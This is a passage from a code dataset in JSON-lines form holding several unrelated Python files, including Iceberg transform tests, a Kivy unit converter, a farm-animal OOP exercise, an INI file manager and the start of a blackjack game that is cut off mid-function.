transform.satisfies_order_of(other_transform)\n    assert not transform.satisfies_order_of(VoidTransform())\n    assert not other_transform.satisfies_order_of(IdentityTransform())\n\n\n@pytest.mark.parametrize(\n    \"type_var,value,expected\",\n    [\n        (LongType(), None, \"null\"),\n        (DateType(), 17501, \"2017-12-01\"),\n        (TimeType(), 36775038194, \"10:12:55.038194\"),\n        (TimestamptzType(), 1512151975038194, \"2017-12-01T18:12:55.038194+00:00\"),\n        (TimestampType(), 1512151975038194, \"2017-12-01T18:12:55.038194\"),\n        (LongType(), -1234567890000, \"-1234567890000\"),\n        (StringType(), \"a/b/c=d\", \"a/b/c=d\"),\n        (DecimalType(9, 2), Decimal(\"-1.50\"), \"-1.50\"),\n        (FixedType(100), b\"foo\", \"Zm9v\"),\n    ],\n)\ndef test_identity_human_string(type_var, value, expected):\n    identity = IdentityTransform()\n    assert identity.to_human_string(type_var, value) == expected\n\n\n@pytest.mark.parametrize(\n    \"type_var\",\n    [\n        BinaryType(),\n        BooleanType(),\n        DateType(),\n        DecimalType(8, 2),\n        DoubleType(),\n        FixedType(16),\n        FloatType(),\n        IntegerType(),\n        LongType(),\n        StringType(),\n        TimestampType(),\n        TimestamptzType(),\n        TimeType(),\n        UUIDType(),\n    ],\n)\ndef test_identity_method(type_var):\n    identity_transform = IdentityTransform()\n    assert str(identity_transform) == str(eval(repr(identity_transform)))\n    assert identity_transform.can_transform(type_var)\n    assert identity_transform.result_type(type_var) == type_var\n    assert identity_transform.transform(type_var)(\"test\") == \"test\"\n\n\n@pytest.mark.parametrize(\"type_var\", [IntegerType(), LongType()])\n@pytest.mark.parametrize(\n    \"input_var,expected\",\n    [(1, 0), (5, 0), (9, 0), (10, 10), (11, 10), (-1, -10), (-10, -10), (-12, -20)],\n)\ndef test_truncate_integer(type_var, input_var, expected):\n    trunc = TruncateTransform(10)\n    assert trunc.transform(type_var)(input_var) == expected\n\n\n@pytest.mark.parametrize(\n    \"input_var,expected\",\n    [\n        (Decimal(\"12.34\"), Decimal(\"12.30\")),\n        (Decimal(\"12.30\"), Decimal(\"12.30\")),\n        (Decimal(\"12.29\"), Decimal(\"12.20\")),\n        (Decimal(\"0.05\"), Decimal(\"0.00\")),\n        (Decimal(\"-0.05\"), Decimal(\"-0.10\")),\n    ],\n)\ndef test_truncate_decimal(input_var, expected):\n    trunc = TruncateTransform(10)\n    assert trunc.transform(DecimalType(9, 2))(input_var) == expected\n\n\n@pytest.mark.parametrize(\"input_var,expected\", [(\"abcdefg\", \"abcde\"), (\"abc\", \"abc\")])\ndef test_truncate_string(input_var, expected):\n    trunc = TruncateTransform(5)\n    assert trunc.transform(StringType())(input_var) == expected\n\n\n@pytest.mark.parametrize(\n    \"type_var,value,expected_human_str,expected\",\n    [\n        (BinaryType(), b\"\\x00\\x01\\x02\\x03\", \"AAECAw==\", b\"\\x00\"),\n        (BinaryType(), bytes(\"\\u2603de\", \"utf-8\"), \"4piDZGU=\", b\"\\xe2\"),\n        (DecimalType(8, 5), Decimal(\"14.21\"), \"14.21\", Decimal(\"14.21\")),\n        (IntegerType(), 123, \"123\", 123),\n        (LongType(), 123, \"123\", 123),\n        (StringType(), \"foo\", \"foo\", \"f\"),\n        (StringType(), \"\\u2603de\", \"\\u2603de\", \"\\u2603\"),\n    ],\n)\ndef test_truncate_method(type_var, value, expected_human_str, expected):\n    truncate_transform = TruncateTransform(1)\n    assert str(truncate_transform) == str(eval(repr(truncate_transform)))\n    assert truncate_transform.can_transform(type_var)\n    assert truncate_transform.result_type(type_var) == type_var\n    assert truncate_transform.to_human_string(type_var, value) == expected_human_str\n    assert truncate_transform.transform(type_var)(value) == expected\n    assert truncate_transform.to_human_string(type_var, None) == \"null\"\n    assert truncate_transform.width == 1\n    assert truncate_transform.transform(type_var)(None) is None\n    assert truncate_transform.preserves_order\n    assert truncate_transform.satisfies_order_of(truncate_transform)\n\n\ndef test_unknown_transform():\n    unknown_transform = transforms.UnknownTransform(\"unknown\")\n    assert str(unknown_transform) == str(eval(repr(unknown_transform)))\n    with pytest.raises(AttributeError):\n        unknown_transform.transform(StringType())(\"test\")\n    assert not unknown_transform.can_transform(FixedType(5))\n    assert isinstance(unknown_transform.result_type(BooleanType()), StringType)\n\n\ndef test_void_transform():\n    void_transform = VoidTransform()\n    assert void_transform is VoidTransform()\n    assert void_transform == eval(repr(void_transform))\n    assert void_transform.transform(StringType())(\"test\") is None\n    assert void_transform.can_transform(BooleanType())\n    assert isinstance(void_transform.result_type(BooleanType()), BooleanType)\n    assert not void_transform.preserves_order\n    assert void_transform.satisfies_order_of(VoidTransform())\n    assert not void_transform.satisfies_order_of(BucketTransform(100))\n    assert void_transform.to_human_string(StringType(), \"test\") == \"null\"\n    assert void_transform.dedup_name == \"void\"\n\n\nclass TestType(IcebergBaseModel):\n    __root__: Transform\n\n\ndef test_bucket_transform_serialize():\n    assert BucketTransform(num_buckets=22).json() == '\"bucket[22]\"'\n\n\ndef test_bucket_transform_deserialize():\n    transform = TestType.parse_raw('\"bucket[22]\"').__root__\n    assert transform == BucketTransform(num_buckets=22)\n\n\ndef test_bucket_transform_str():\n    assert str(BucketTransform(num_buckets=22)) == \"bucket[22]\"\n\n\ndef test_bucket_transform_repr():\n    assert repr(BucketTransform(num_buckets=22)) == \"BucketTransform(num_buckets=22)\"\n\n\ndef test_truncate_transform_serialize():\n    assert UnknownTransform(\"unknown\").json() == '\"unknown\"'\n\n\ndef test_unknown_transform_deserialize():\n    transform = TestType.parse_raw('\"unknown\"').__root__\n    assert transform == UnknownTransform(\"unknown\")\n\n\ndef test_unknown_transform_str():\n    assert str(UnknownTransform(\"unknown\")) == \"unknown\"\n\n\ndef test_unknown_transform_repr():\n    assert repr(UnknownTransform(\"unknown\")) == \"UnknownTransform(transform='unknown')\"\n\n\ndef test_void_transform_serialize():\n    assert VoidTransform().json() == '\"void\"'\n\n\ndef test_void_transform_deserialize():\n    transform = TestType.parse_raw('\"void\"').__root__\n    assert transform == VoidTransform()\n\n\ndef test_void_transform_str():\n    assert str(VoidTransform()) == \"void\"\n\n\ndef test_void_transform_repr():\n    assert repr(VoidTransform()) == \"VoidTransform()\"\n\n\ndef test_year_transform_serialize():\n    assert YearTransform().json() == '\"year\"'\n\n\ndef test_year_transform_deserialize():\n    transform = TestType.parse_raw('\"year\"').__root__\n    assert transform == YearTransform()\n\n\ndef test_month_transform_serialize():\n    assert MonthTransform().json() == '\"month\"'\n\n\ndef test_month_transform_deserialize():\n    transform = TestType.parse_raw('\"month\"').__root__\n    assert transform == MonthTransform()\n\n\ndef test_day_transform_serialize():\n    assert DayTransform().json() == '\"day\"'\n\n\ndef test_day_transform_deserialize():\n    transform = TestType.parse_raw('\"day\"').__root__\n    assert transform == DayTransform()\n\n\ndef test_hour_transform_serialize():\n    assert HourTransform().json() == '\"hour\"'\n\n\ndef test_hour_transform_deserialize():\n    transform = TestType.parse_raw('\"hour\"').__root__\n    assert transform == HourTransform()\n\n\n@pytest.mark.parametrize(\n    \"transform,transform_str\",\n    [\n        (YearTransform(), \"year\"),\n        (MonthTransform(), \"month\"),\n        (DayTransform(), \"day\"),\n        (HourTransform(), \"hour\"),\n    ],\n)\ndef test_datetime_transform_str(transform, transform_str):\n    assert str(transform) == transform_str\n\n\n@pytest.mark.parametrize(\n    \"transform,transform_repr\",\n    [\n        (YearTransform(), \"YearTransform()\"),\n        (MonthTransform(), \"MonthTransform()\"),\n        (DayTransform(), \"DayTransform()\"),\n        (HourTransform(), \"HourTransform()\"),\n    ],\n)\ndef test_datetime_transform_repr(transform, transform_repr):\n    assert repr(transform) == transform_repr\n","sub_path":"python/tests/test_transforms.py","file_name":"test_transforms.py","file_ext":"py","file_size_in_byte":16402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"321874762","text":"import re\nfrom argparse import ArgumentParser\nfrom .__init__ import start_server\n\n\ndef convert_unit(s):\n    n, u = re.match(r'(\\d+)([BKMG]?)', s, re.I).groups()\n    units = {'B': 1, 'K': 1024, 'M': 1024 * 1024, 'G': 1024 * 1024 * 1024}\n    return int(n) * units[u.upper() or 'B']\n\n\nap = ArgumentParser(description='Funnel')\nap.add_argument('url', help='the movie url')\nap.add_argument('--block-size', '-b', type=convert_unit, default='8M',\n                help='size of one block')\nap.add_argument('--piece-size', '-p', type=convert_unit, default='1M',\n                help='size of one piece')\nap.add_argument('--timeout', '-t', type=int, default=60,\n                help='timeout in request')\nap.add_argument('--max-tries', '-r', type=int, default=10,\n                help='Limit retries on network errors.')\n\n\ndef main():\n    args = ap.parse_args()\n    start_server(args)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"video_funnel/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"223796482","text":"from scipy.stats import norm\nimport numpy as np\n\nalpha = 0.01\n# population A\nn = 720\nx = 168\np_A_hat = x / n\n# population B\nm = 760\ny = 204\np_B_hat = y / m\n# hypo\np_A = 0.5\np_B = 0.5\n\ndiff_hat = p_A_hat - p_B_hat\ndiff = p_A - p_B\nvar_A = p_A_hat * (1 - p_A_hat) / n\nvar_B = p_B_hat * (1 - p_B_hat) / m\nvar = var_A + var_B\n\nse = np.sqrt(var)\nz_crit = norm.isf(alpha / 2)\nz_interval = (diff_hat - z_crit * se, diff_hat + z_crit * se)\n\nz_stat = (diff_hat - diff) / np.sqrt(var)\n# H0: p_A = p_B, pooled estimate\np_hat = (x + y) / (n + m)\nz_stat_pooled = diff_hat / np.sqrt(p_hat * (1 - p_hat) * (1 / n + 1 / m))\n\n","sub_path":"ch10_two_sided_two_popu.py","file_name":"ch10_two_sided_two_popu.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"92840894","text":"from abc import *\n\n\nclass Animal(metaclass=ABCMeta):\n    def __init__(self, name, weight):\n        self.name = name\n        self.weight = weight\n\n    def __del__(self):\n        print(f'Объект класса {self.__class__.__name__} с именем {self.name} был удален')\n\n    @abstractmethod\n    def feed(self):\n        pass\n\n    @abstractmethod\n    def do_voice(self):\n        pass\n\n\nclass Goose(Animal):\n    def do_voice(self):\n        print(f'{self.name} do {self.voice}')\n\n    def feed(self):\n        print(f'Вы покормили животное класса {self.__class__.__name__} с именем {self.name}')\n\n    def __init__(self, name, weight):\n        Animal.__init__(self, name, weight)\n        self.voice = 'Goose voice'\n        print(\n            f'Создан объект класса {self.__class__.__name__} с полем name -> {self.name} и '\n            f'полем weight -> {self.weight}')\n\n    def collect_eggs(self):\n        print(f'Яйца у объекта класса {self.__class__.__name__} с именем {self.name} собраны!')\n\n\nclass Cow(Animal):\n    def do_voice(self):\n        print(f'{self.name} do {self.voice}')\n\n    def feed(self):\n        print(f'Вы покормили животное класса {self.__class__.__name__} с именем {self.name}')\n\n    def __init__(self, name, weight):\n        Animal.__init__(self, name, weight)\n        self.voice = 'Moo voice'\n        print(\n            f'Создан объект класса {self.__class__.__name__} с полем name -> {self.name} '\n            f'и полем weight -> {self.weight}')\n\n    def get_milk(self):\n        print(f'Вы собрали молоко у объекта класса {self.__class__.__name__} с именем {self.name}')\n\n\nclass Goat(Animal):\n    def do_voice(self):\n        print(f'{self.name} do {self.voice}')\n\n    def feed(self):\n        print(f'Вы покормили животное класса {self.__class__.__name__} с именем {self.name}')\n\n    def __init__(self, name, weight):\n        Animal.__init__(self, name, weight)\n        self.voice = 'Goat voice'\n        print(\n            f'Создан объект класса {self.__class__.__name__} с полем name -> {self.name} '\n            f'и полем weight -> {self.weight}')\n\n    def get_milk(self):\n        print(f'Вы собрали молоко у объекта класса {self.__class__.__name__} с именем {self.name}')\n\n\nclass Duck(Animal):\n    def do_voice(self):\n        print(f'{self.name} do {self.voice}')\n\n    def feed(self):\n        print(f'Вы покормили животное класса {self.__class__.__name__} с именем {self.name}')\n\n    def __init__(self, name, weight):\n        Animal.__init__(self, name, weight)\n        self.voice = 'Duck voice'\n        print(\n            f'Создан объект класса {self.__class__.__name__} с полем name -> {self.name} '\n            f'и полем weight -> {self.weight}')\n\n    def collect_eggs(self):\n        print(f'Яйца у объекта класса {self.__class__.__name__} с именем {self.name} собраны!')\n\n\nclass Chicken(Animal):\n    def do_voice(self):\n        print(f'{self.name} do {self.voice}')\n\n    def feed(self):\n        print(f'Вы покормили животное класса {self.__class__.__name__} с именем {self.name}')\n\n    def __init__(self, name, weight):\n        Animal.__init__(self, name, weight)\n        self.voice = 'Chicken voice'\n        print(\n            f'Создан объект класса {self.__class__.__name__} с полем name -> {self.name}'\n            f' и полем weight -> {self.weight}')\n\n    def collect_eggs(self):\n        print(f'Яйца у объекта класса {self.__class__.__name__} с именем {self.name} собраны!')\n\n\nclass Sheep(Animal):\n    def do_voice(self):\n        print(f'{self.name} do {self.voice}')\n\n    def feed(self):\n        print(f'Вы покормили животное класса {self.__class__.__name__} с именем {self.name}')\n\n    def __init__(self, name, weight):\n        Animal.__init__(self, name, weight)\n        self.voice = 'Sheep voice'\n        print(\n            f'Создан объект класса {self.__class__.__name__} с полем name -> {self.name} '\n            f'и полем weight -> {self.weight}')\n\n    def get_wool(self):\n        print(f'Шерсть у объекта класса {self.__class__.__name__} с именем {self.name} была собрана!')\n\n\ndef feed_all():\n    for animals in farm.values():\n        for animal in animals:\n            animal.feed()\n\n\ndef do_activity():\n    for animals_type in farm:\n        if animals_type == 'Goose' or animals_type == 'Chicken' or animals_type == 'Duck':\n            for animal in farm[animals_type]:\n                animal.collect_eggs()\n        elif animals_type == 'Cow' or animals_type == 'Goat':\n            for animal in farm[animals_type]:\n                animal.get_milk()\n        elif animals_type == 'Sheep':\n            for animal in farm[animals_type]:\n                animal.get_wool()\n\n\ndef voice_check():\n    for animals in farm.values():\n        for animal in animals:\n            animal.do_voice()\n\n\ndef total_weight():\n    weight_sum = 0\n    for animals in farm.values():\n        for animal in animals:\n            weight_sum += animal.weight\n    return weight_sum\n\n\ndef the_heaviest():\n    max_weight = 0\n    for animals in farm.values():\n        for animal in animals:\n            if animal.weight > max_weight:\n                max_weight = animal.weight\n                the_heaviest_animal = animal\n    return the_heaviest_animal\n\n\ndef show_all_names(filter='all'):\n    if filter == 'all':\n        for animals in farm.values():\n            for animal in animals:\n                print(animal.name)\n    elif filter == 'milk':\n        for animals in farm:\n            if animals == 'Cow' or animals == 'Goat':\n                for animal in farm[animals]:\n                    print(animal.name)\n    elif filter == 'eggs':\n        for animals in farm:\n            if animals == 'Chicken' or animals == 'Duck' or animals == 'Goose':\n                for animal in farm[animals]:\n                    print(animal.name)\n    elif filter == 'wool':\n        for animals in farm:\n            if animals == 'Sheep':\n                for animal in farm[animals]:\n                    print(animal.name)\n\n\ndef check_name(name):\n    for animals in farm.values():\n        for animal in animals:\n            if animal.name.lower() == name:\n                return 1\n    return 0\n\n\ndef get_obj_by_name(name):\n    for animals in farm.values():\n        for animal in animals:\n            if animal.name.lower() == name:\n                return animal\n\n\ndef show_types():\n    for type in farm:\n        print(type)\n\n\ndef check_type(type):\n    for types in farm:\n        if types.lower() == type:\n            return 1\n    return 0\n\n\ndef animal_add(type):  # TODO: добавить возможность добавлять новых животных с помощью функции\n    #name = input('Введите имя - ')\n    #weight = input('Введите вес - ')\n    print(\"Животных пока добавлять нельзя\")\n\n\ngrey_goose = Goose('Серый', 10)\nwhite_goose = Goose('Белый', 7)\nCow1 = Cow('Манька', 30)\nGoat1 = Goat('Рога', 12)\nGoat2 = Goat('Копыта', 14)\nDuck1 = Duck('Кряква', 6)\nChicken1 = Chicken('Ко-ко', 4)\nChicken2 = Chicken('Кукареку', 3)\nSheep1 = Sheep('Барашек', 9)\nSheep2 = Sheep('Кудрявый', 12)\n\nfarm = {\n    'Goose': [grey_goose, white_goose],\n    'Cow': [Cow1],\n    'Goat': [Goat1, Goat2],\n    'Duck': [Duck1],\n    'Chicken': [Chicken1, Chicken2],\n    'Sheep': [Sheep1, Sheep2]\n}\n\n\ndef runner():\n    while True:\n        cmd = input('Введите команду - ').lower()\n        if cmd == 'fa' or cmd == 'feed all':\n            feed_all()\n        elif cmd == 'f' or cmd == 'feed':\n            print('Выберите кого вы хотите покормить: ')\n            show_all_names()\n            animal_to_feed = input('Введите имя - ').lower()\n            if check_name(animal_to_feed) == 1:\n                get_obj_by_name(animal_to_feed).feed()\n            else:\n                print(f'Животного с именем {animal_to_feed} нету на ферме')\n        elif cmd == 'doaa' or cmd == 'do all activities':\n            do_activity()\n        elif cmd == 'v' or cmd == 'voice':\n            print('Выберите кого вы хотите послушать: ')\n            show_all_names()\n            animal_to_speak = input('Введите имя - ').lower()\n            if check_name(animal_to_speak) == 1:\n                get_obj_by_name(animal_to_speak).do_voice()\n            else:\n                print(f'Животного с именем {animal_to_speak} нету на ферме')\n        elif cmd == 'vc' or cmd == 'voice check':\n            voice_check()\n        elif cmd == 'tw' or cmd == 'total weight':\n            print(f'Общий вес всех животных на ферме {total_weight()}кг')\n        elif cmd == 'w' or cmd == 'weight':\n            print('Выберите имя животного, вес которого вы хотите узнать: ')\n            show_all_names()\n            animal_weight_check = input('Введите имя - ').lower()\n            if check_name(animal_weight_check) == 1:\n                print(f'Животное класса {get_obj_by_name(animal_weight_check).__class__.__name__} с именем '\n                      f'{get_obj_by_name(animal_weight_check).name} весит'\n                      f' {get_obj_by_name(animal_weight_check).weight}кг')\n            else:\n                print(f'Животного с именем {animal_weight_check} нету на ферме')\n        elif cmd == 'th' or cmd == 'the heaviest':\n            print(f'Самое тяжелое животное на ферме это {the_heaviest().name} с весом {the_heaviest().weight}кг')\n        elif cmd == 'a' or cmd == 'add':\n            show_types()\n            animal_type = input('Введите тип животног, которое вы хотите добавить на ферму - ')\n            if check_type(animal_type) == 1:\n                animal_add(animal_type)\n            else:\n                print(f'Животных типа {animal_type} нету на ферме')\n        elif cmd == 'gm' or cmd == 'get milk':\n            print('Выберите животное чье молоко вы хотите получить: ')\n            show_all_names('milk')\n            animal_get_milk = input('Введите имя - ').lower()\n            if check_name(animal_get_milk) == 1:\n                get_obj_by_name(animal_get_milk).get_milk()\n            else:\n                print(f'Животного с именем {animal_get_milk} нету на ферме')\n        elif cmd == 'ce' or cmd == 'collect eggs':\n            print('Выберите животное чьи яйца вы хотите получить: ')\n            show_all_names('eggs')\n            animal_collect_eggs = input('Введите имя - ').lower()\n            if check_name(animal_collect_eggs) == 1:\n                get_obj_by_name(animal_collect_eggs).collect_eggs()\n            else:\n                print(f'Животного с именем {animal_collect_eggs} нету на ферме')\n        elif cmd == 'gw' or cmd == 'get wool':\n            print('Выберите животное чью шерсть вы хотите получить: ')\n            show_all_names('wool')\n            animal_get_wool = input('Введите имя - ').lower()\n            if check_name(animal_get_wool) == 1:\n                get_obj_by_name(animal_get_wool).get_wool()\n            else:\n                print(f'Животного с именем {animal_get_wool} нету на ферме')\n        elif cmd == 'e' or cmd == 'end':\n            print('Программа завершена')\n            break\n        else:\n            print(f'Команды {cmd} нету в списке доступных команд')\n\n\nrunner()\n","sub_path":"animals_oop.py","file_name":"animals_oop.py","file_ext":"py","file_size_in_byte":12373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"93904371","text":"from kivy.app import App\nfrom kivy.lang import Builder\nfrom kivy.properties import StringProperty\n\nFACTOR_MILES_TO_KM = 1.60934\n\n\nclass MilesConverterApp(App):\n    output_km = StringProperty()\n\n    def build(self):\n        self.title = \"Convert Miles to Kilometres\"\n        self.root = Builder.load_file('convert_miles_km.kv')\n        return self.root\n\n    def handle_calculate(self, text):\n        print(\"handle calculate\")\n        miles = self.convert_number(text)\n        self.update_result(miles)\n\n    def handle_increment(self, text, change):\n        print(\"handle increment\")\n        miles = self.convert_number(text) + change\n        self.root.ids.input_miles.text = str(miles)\n\n    def update_result(self, miles):\n        print(\"update\")\n        self.output_km = str(miles * FACTOR_MILES_TO_KM)\n\n    @staticmethod\n    def convert_number(text):\n        try:\n            return float(text)\n        except ValueError:\n            return 0\n\n\nMilesConverterApp().run()","sub_path":"prac_07/convert_miles_km.py","file_name":"convert_miles_km.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"617018829","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\n\nfrom .models import Profile\n\n\ndef get_profile(request):\n    user = request.user\n    try:\n        profile = Profile.objects.get(user=user)\n    except ObjectDoesNotExist as exception_alias:\n        response = JsonResponse({'error': f'{exception_alias}'})\n        response.status_code = 200\n        return response\n    json_data = {\n        'id': profile.id,\n        'user': user.id,\n        'address': profile.address,\n        'phone_number': profile.phone_number\n    }\n    return JsonResponse({'profile': json_data})\n\n\n\n# def sign_up(request):\n#     form_data = request.POST\n#     firstname_and_lastname = form_data.get('name', '')\n#     email = form_data.get('username', False)\n#     phone = form_data.get('phone', '')\n#     password = form_data.get('password', False)\n#     if email and password:\n#         firstname, lastname = split_full_name(firstname_and_lastname)\n#         try:\n#             User.objects.get(username=email)\n#         except ObjectDoesNotExist:\n#             new_user = User()\n#             new_user.username = email\n#             new_user.email = email.lower()\n#             new_user.first_name = firstname\n#             new_user.last_name = lastname\n#             new_user.set_password(password)\n#             new_user.is_active = False\n#             new_user.save()\n#\n#             new_user_extend_obj = UserExtend()\n#             new_user_extend_obj.user = new_user\n#             new_user_extend_obj.phone = phone\n#             new_user_extend_obj.save()\n#             activation_link = new_user_extend_obj.get_activation_link()\n#             send_mail(\n#                 subject='Ссылка для активации аккаунта на сайте blablabla.com',\n#                 message_text=request.build_absolute_uri(activation_link),\n#                 address=email\n#             )\n#     return render(request, template_name='users_app/login_template.html')","sub_path":"SHOP/users_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"529394503","text":"# Copyright @ 2018 Michael George\r\n#\r\n# mg -INI Files manager\r\n# 2019-01 break it out of parsing module\r\n#\r\nimport os\r\nimport sys\r\n\r\n# a class for managing INI file with application settings \r\nclass IniFileManager:\r\n        def __init__(self, iniitems):\r\n                # a list of dicts with key per section\r\n                self.iniitems = iniitems\r\n                # build the INI data dict\r\n                self.MGU_readinistuff()\r\n\r\n        def MGU_dumpinistuff(self):\r\n                for i in self.iniitems:\r\n                        print ('dumping',i, self.iniitems[i][0], self.iniitems[i][1], self.iniitems[i][2])\r\n                        pass\r\n       \r\n        def MGU_readinistuff(self):\r\n                #print ('dumping',i,self.iniitems[i][0],self.initems[i][1],self.iniitems[i][2])\r\n                for i in self.iniitems:\r\n                        strs = ReadIniFileStrList( self.iniitems[i][0], self.iniitems[i][1])\r\n                        if strs and len(strs) > 0:\r\n                                self.iniitems[i][2]= strs\r\n                        else:\r\n                                strs = ''\r\n                                pass # leave the defaults in the content\r\n \r\n        def MGU_writeinistuff(self):\r\n                for i in self.iniitems:\r\n                        strx = ''\r\n                        for x in self.iniitems[i][2]:\r\n                                if len(strx)>0:\r\n                                        strx+=','\r\n                                strx += x\r\n                        print('writing inistuff', self.iniitems[i][0], self.iniitems[i][1], strx)\r\n                        #strs  = ReadIniFileStrList(self.iniitems[i][0],self.iniitems[i][1])\r\n                        WriteIniFile( self.iniitems[i][0], self.iniitems[i][1], strx)\r\n\r\n\r\n\r\n# ini file operations.\r\n# ReadIniFileBool\r\n# ReadIniFileStrList\r\n# WriteIniFile\r\ndef    ReadIniFileBool(inisection, iniitem):\r\n        try:\r\n            from configparser import ConfigParser\r\n        except ImportError:\r\n            from ConfigParser import ConfigParser  # ver. < 3.0\r\n\r\n        # instantiate\r\n        config = ConfigParser()\r\n        # parse existing file\r\n        config.read('mg-csvtools.ini')\r\n        # read values from a section\r\n        try:\r\n                return config.getboolean(inisection, iniitem)\r\n        except:\r\n                return False\r\n \r\n\r\ndef    ReadIniFileStrList(inisection, iniitem):\r\n        #print(\"readinifilestrlist\")\r\n        try:\r\n            from configparser import ConfigParser\r\n        except ImportError:\r\n            from ConfigParser import ConfigParser  # ver. < 3.0\r\n\r\n        # instantiate\r\n        config = ConfigParser()\r\n\r\n        # parse existing file\r\n        try:\r\n                config.read('mg-csvtools.ini')\r\n        except:\r\n                print(\"Exception: NO mg-csvtools.ini found\")\r\n                return None\r\n        # read values from a section\r\n        try:\r\n                print(\"in readinifilestr \",inisection,iniitem,config.get(inisection, iniitem).lower().split(','))\r\n                strs = config.get(inisection, iniitem).lower().split(',')\r\n                if strs == None:\r\n                        print(inisection,'empty')\r\n                        return ['']\r\n                else:\r\n                        return strs\r\n        except:\r\n                return None\r\n\r\ndef    WriteIniFile(inisection, iniitem, itemdata):\r\n        try:\r\n            from configparser import ConfigParser\r\n        except ImportError:\r\n            from ConfigParser import ConfigParser  # ver. < 3.0\r\n\r\n        # instantiate\r\n        config = ConfigParser()\r\n        # modify the parser instance to override the default to_lower() behavior. I want to preserve case in the INI\r\n        config.optionxform = lambda option: option\r\n        # parse existing file\r\n        try:\r\n                config.read('mg-csvtools.ini')\r\n        except:\r\n                print(\"Exception: NO mg-csvtools.ini found\")\r\n                return None\r\n        # take a shot at adding the section for this request. no harm if it's there\r\n        try:\r\n                config.add_section(inisection)\r\n        except:\r\n                pass # maybe it already existed, that's ok just wanted to make sure it's there now\r\n\r\n        # update existing value\r\n        print('writing',inisection,iniitem,itemdata)\r\n        if not itemdata:\r\n                return\r\n        # I learned... you gotta GET before you can SET.\r\n        # if get fails you can ADD\r\n        config.set(inisection, iniitem, itemdata)        \r\n        with open('mg-csvtools.ini','w') as cf:\r\n                config.write(cf)\r\n\r\n\r\n\r\n     \r\n\r\n#a main function entry point for simply testing the class and functions here\r\nif __name__ == '__main__':\r\n        # test code for the inifile handling and the file name regex functions\r\n        print('|============\\n|   INIFile testing demo program. \\n|   Version 0.0 January-2019\\n|   *******\\n|============\\n')\r\n        #\r\n        #\r\n        # test the INI class\r\n        defaultini = 'mgcsvtools.ini'\r\n        # put app specific INI spec here\r\n        # learning here: I used a += for adding strings to the [] list. it generated 'd' 'i' 'r' ... etc\r\n        #  use the .append to extend a list of strings with additional strings\r\n        inisections = []\r\n        iniitems1 = dict()\r\n        iniitems1['Dirs-DirsBlacklist'] = [ 'Dirs', 'DirsBlackList', ['windows', 'system', 'test1', 'test2']]\r\n        iniitems1['Dirs-DirsWhitelist'] = [ 'Dirs', 'DirsWhiteList', ['wwindows', 'wsystem', 'test1', 'test2']]\r\n        iniitems1['Files-FilesBlacklist'] = [ 'Files', 'FilesBlackList', ['.js','.tmp','.css','.cpython']]\r\n        iniitems1['Dirs-DirsOtherMGlist'] = [ 'Dirs', 'DirsOtherMGList', ['mg001', 'system', 'test1', 'test2']]\r\n        iniitems1['Options-IniOpenRecent'] = [ 'Options','IniOpenRecent', ['xxwindows', 'system', 'test1', 'test2']]\r\n        iniitems1['Options-OtherMGOption'] = [ 'Options','OtherMGOption', ['yywindows', 'system', 'test1', 'test2']]\r\n        iniitems1['Options-IniPath'] = [ 'Options','IniPath', ['zzwindows', 'system', 'test1', 'test2']]\r\n        iniinfo = IniFileManager(iniitems1)\r\n        iniinfo.MGU_dumpinistuff()\r\n        iniinfo.iniitems['Options-IniPath'][2].append( 'new1')\r\n        iniinfo.MGU_writeinistuff()\r\n        iniinfo.MGU_readinistuff()\r\n","sub_path":"MGIniFiles.py","file_name":"MGIniFiles.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"132535389","text":"#!/usr/bin/python3\nimport json\n# import logging\n\nfrom custom_components.hpprinter.HPDeviceData import *\n\n\nclass Logger:\n    @staticmethod\n    def debug(message):\n        print(f\"DEBUG - {message}\")\n\n    @staticmethod\n    def error(message):\n        print(f\"ERROR - {message}\")\n\n    @staticmethod\n    def store_data(file, content):\n        print(f\"{file} - {content}\")\n\n    @staticmethod\n    def data_provider(data_type):\n        with open(f'{data_type}.json') as json_file:\n            data = json.load(json_file)\n\n            return data\n\n\nif __name__ == '__main__':\n    # execute only if run as the entry point into the program\n    _LOGGER = Logger()  # logging.getLogger(__name__)\n\n    hostname = \"192.168.1.30\"\n\n    device_data = HPDeviceData(None, hostname, \"HP7740\")\n    data = device_data.get_data() #_LOGGER.store_data)\n\n    json_data = json.dumps(data)\n    _LOGGER.debug(json_data)\n\n\n","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"133698102","text":"'''\nDeveloped as part of KPCB Engineering Fellowship 2019.\nAuttor - Chinmaya Sharma\n'''\nfrom card import Card\nfrom hand import Hand\nfrom deck import Deck\nfrom constants import SUITS, RANKS, Color\nimport utils\n\n\nbalance = 100.0\n\ndef engine(player, dealer, deck, wager):\n    \"\"\" Returns void\n\n    Handles all possible recurring actions in the game\n    \"\"\"\n\n    global balance\n    while player.getValue() < 21:\n        choice = input(\"Hit - H, Stand - S, Double Down - D, Surrender - SU: \").upper()\n        # hit\n        if choice == \"H\":\n            player.addCard(deck.dealCard())\n            print(\"Player's hand: \" + utils.printColored(player, Color.YELLOW))\n        # stand\n        elif choice == \"S\": \n            break\n        # double down\n        elif choice == \"D\": \n            if balance >= wager * 2:\n                player.addCard(deck.dealCard())\n                print(\"Player's hand: \" + utils.printColored(player, Color.YELLOW))\n                wager *= 2\n                print(\"Updated Wager: %d\" %wager)\n            else:\n                print(\"Inadequate balance. Double Down unsuccessful :(\")\n        # surrender\n        elif choice == 